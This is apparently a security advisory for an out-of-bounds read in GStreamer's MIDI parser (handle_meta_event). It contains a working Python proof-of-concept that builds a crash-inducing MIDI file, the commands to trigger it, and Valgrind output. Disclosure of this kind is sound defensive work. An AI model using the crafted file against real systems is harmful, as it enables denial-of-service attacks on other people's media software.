CVE-2025-67329: Out-of-Bounds Read in handle_meta_event() - GStreamer MIDI Parser

Dec 26, 2025

Details


Description

An out-of-bounds read in the handle_meta_event() function of GStreamer Project v1.24.x allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.

Attack Vectors

User must open or process a malicious MIDI file with a meta event (0xFF) followed by a type byte but missing the required length field. When the file is parsed by GStreamer’s midiparse element, the parser increments track->offset beyond the track data buffer size before checking boundaries, resulting in out-of-bounds memory reads.

Steps to Reproduce

  1. Run following script to generate malicious MIDI file malicious_meta_oob.mid

    #!/usr/bin/env python3
    """
    CVE-2025-67329: GStreamer MIDI Parser handle_meta_event OOB Read PoC
    Targets: GStreamer 1.24.x series
    
    Vulnerability: In handle_meta_event(), after incrementing track->offset,
    the code doesn't check if offset >= size before accessing the buffer.
    """
    
    import struct
    
    def create_midi_header():
        """Create MIDI file header (MThd chunk)"""
        chunk_type = b'MThd'
        length = struct.pack('>I', 6)
        format_type = struct.pack('>H', 0)  # Format 0 (single track)
        ntrks = struct.pack('>H', 1)        # 1 track
        division = struct.pack('>H', 480)   # 480 ticks per quarter note
        return chunk_type + length + format_type + ntrks + division
    
    def create_malicious_track():
        """
        Create track with meta event at end without length field.
    
        Meta event format: 0xFF <type> <length> <data>
        We put 0xFF at the last byte. After track->offset += 1,
        offset will equal size, causing OOB read when trying to read the length.
        """
        chunk_type = b'MTrk'
    
        # Delta time = 0
        delta = bytes([0x00])
    
        # Meta event: 0xFF at the end - no type byte, no length
        meta_start = bytes([0xFF])
    
        # Track data: just delta + meta event start
        track_data = delta + meta_start
    
        length = struct.pack('>I', len(track_data))
    
        return chunk_type + length + track_data
    
    def main():
        midi_data = create_midi_header() + create_malicious_track()
    
        with open('malicious_meta_oob.mid', 'wb') as f:
            f.write(midi_data)
    
        print(f"[+] Generated malicious_meta_oob.mid ({len(midi_data)} bytes)")
        print("[*] Test: gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink")
        print("[!] Expected: OOB read in handle_meta_event after track->offset increment")
    
    if __name__ == '__main__':
        main()
    
    python3 poc_meta_oob.py
    
  2. Run Valgrind to observe out-of-bounds read

    valgrind gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink
    
  3. The Valgrind output shows invalid read in handle_meta_event after track->offset increment

Proof of Concept

Valgrind Output (GStreamer 1.24.2)

Key Evidence: Look for Invalid read of size 1 errors (3 instances) and Address 0x... is 2 bytes after a block of size 24 showing the out-of-bounds access in meta event handling.

==2284835== Memcheck, a memory error detector
==2284835== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==2284835== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==2284835== Command: gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink
==2284835== 
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==2284835== Invalid read of size 1
==2284835==    at 0x4866128: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835==  Address 0x55b6f28 is 0 bytes after a block of size 24 alloc'd
==2284835==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835==    by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835== 
==2284835== Invalid read of size 1
==2284835==    at 0x48662E8: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835==  Address 0x55b6f29 is 1 bytes after a block of size 24 alloc'd
==2284835==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835==    by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835== 
==2284835== Invalid read of size 1
==2284835==    at 0x48662F9: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835==  Address 0x55b6f2a is 2 bytes after a block of size 24 alloc'd
==2284835==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835==    by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835==    by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835==    by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835==    by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835==    by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835==    by 0x4C9CA63: clone (clone.S:100)
==2284835== 
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
../gst/midi/midiparse.c(1287): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn't want to preroll.
Setting pipeline to NULL ...
Freeing pipeline ...
==2284835== 
==2284835== HEAP SUMMARY:
==2284835==     in use at exit: 611,380 bytes in 1,738 blocks
==2284835==   total heap usage: 29,314 allocs, 27,576 frees, 3,325,974 bytes allocated
==2284835== 
==2284835== For a detailed leak analysis, rerun with: --leak-check=full
==2284835== 
==2284835== For lists of detected and suppressed errors, rerun with: -s
==2284835== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)

References